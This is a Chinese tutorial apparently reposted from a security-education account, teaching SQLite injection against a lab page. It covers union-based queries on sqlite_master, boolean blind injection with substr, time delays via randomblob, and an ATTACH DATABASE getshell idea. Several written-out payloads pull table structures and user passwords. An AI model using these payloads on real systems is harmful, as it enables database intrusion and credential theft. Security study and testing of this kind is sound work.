文库 | Sqlite注入基础

admin 2021年7月25日03:34:11评论51 views字数 2080阅读6分56秒阅读模式

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #



文库 | Sqlite注入基础
文库 | Sqlite注入基础

作者:掌控安全-手电筒


前置知识

Sqlite数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句,基本和mysql差不多

1.Sqlite-master:这个是内置系统表、相当于mysql的information_schema

但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型


2.sqlite并不支持像mysql那样的注释,但是可以通过 — 方式增加DDL注释(写shell会用到)


基本增删改查


创建表语句

  1. create table wafa(name varchar(255),username varchar(255));

文库 | Sqlite注入基础

插入数据语句

  1. insert into wafa (name,username) values ('bbq','bbcd');

文库 | Sqlite注入基础

增加字段

  1. alter table wafa add column id int;

文库 | Sqlite注入基础

查询语句

  1. select name from wafa where username='bbcd';

文库 | Sqlite注入基础

修改字段数据
Update wafa set username=’tcp’ where name=’bbq’;

文库 | Sqlite注入基础

这里注意,sqlite不能完全支持sql语句


如果要修改字段的数据类型的话只能增加字段,要修改字段只能重命名表后,


重新创建表,再把旧表数据放到新表里,最后删除旧表


  1. alter table wafa rename to wifi;

文库 | Sqlite注入基础

  1. create table wafa(name varchar(200)notnull,username varchar(200)notnull);

文库 | Sqlite注入基础

  1. insert into wafa(name,username)select name,username from wifi;

文库 | Sqlite注入基础

  1. drop table wifi;

文库 | Sqlite注入基础

联合查询:


这里的测试环境里不需要去闭合


首先判断回显点,先判断当前页面字段数

  1. Orderby3

文库 | Sqlite注入基础

文库 | Sqlite注入基础

判断出当前有3个字段


然后就是判断显错位

  1. And1=2unionselect1,2,3

文库 | Sqlite注入基础

查询版本:

  1. and1=2unionselect1,2,sqlite_version()

文库 | Sqlite注入基础

查询当前表

  1. and1=2unionselect1,2,name from sqlite_master limit 1,1

可以通过limit去筛选其他数据,但只能显示一条

(这里因为数据库里的排序问题,目标表在第二位)

文库 | Sqlite注入基础

查询字段

  1. and1=2unionselect1,2,sql from sqlite_master limit 1,1

可以通过去查询sqlite_master里的sql字段来得到字段信息

会输出整条你建立表的语句

文库 | Sqlite注入基础

查询数据

  1. and1=2unionselect1,2,password from user limit 0,1

文库 | Sqlite注入基础

当然,sqlite也有查询多条数据的方法


可以使用group_concat


  1. and1=2unionselect1,2,group_concat(name)from user limit 0,1

文库 | Sqlite注入基础

盲注

sqlite注入也可以使用盲注

基本和mysql的差不多,但是sqlite好像不支持ascii,所以直接通过字符去查询,这里和mysql不同,这个区分大小写

查询数据表长度

  1. and(select length(name)from sqlite_master limit 0,1)=4

文库 | Sqlite注入基础

如果查询失败的话

文库 | Sqlite注入基础

查询表名


  1. and substr((select name from sqlite_master limit 0,1),1,1)='u'

文库 | Sqlite注入基础

这里区分大小写

文库 | Sqlite注入基础

查询字段

  1. and substr((select sql from sqlite_master limit 0,1),1,1)='C'

因为这里是输出整条你建立表的语句,所以要慢慢查

文库 | Sqlite注入基础

查询数据

  1. and substr((select password from user limit 0,1),2,1)='i'

文库 | Sqlite注入基础

时间盲注


Sqlite没有sleep函数,但是可以利用randomblob函数,


这个函数作用是生成了一个N字节的blob,可以通过这个来延时


  1. and1=(casewhen(substr(sqlite_version(),1,1)='3')then randomblob(1000000000)else0end)

文库 | Sqlite注入基础


Getshell


使用ATTACH函数来操作


这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行


函数格式

  1. ATTACH DATABASE file_name AS database_name

这里我们通过去建立一个文件,然后再后续通过命令去插入payload

因为这个是建立库的语句,后续通过建立表的方式去写入shell

例:
文库 | Sqlite注入基础

效果如下

文库 | Sqlite注入基础

测试环境里因为权限原因没有复现出



回顾往期内容

公益SRC怎么挖 | SRC上榜技巧

实战纪实 | SQL漏洞实战挖掘技巧

上海长亭科技安全服务工程师面试经验分享

实战纪实 | 从编辑器漏洞到拿下域控300台权限

代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

文库 | Sqlite注入基础


扫码白嫖视频+工具+进群+靶场等资料


文库 | Sqlite注入基础

 


文库 | Sqlite注入基础

 扫码白嫖


 还有免费的配套靶场交流群哦!




本文始发于微信公众号(掌控安全EDU):文库 | Sqlite注入基础

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月25日03:34:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文库 | Sqlite注入基础http://cn-sec.com/archives/378501.html

发表评论

匿名网友 填写信息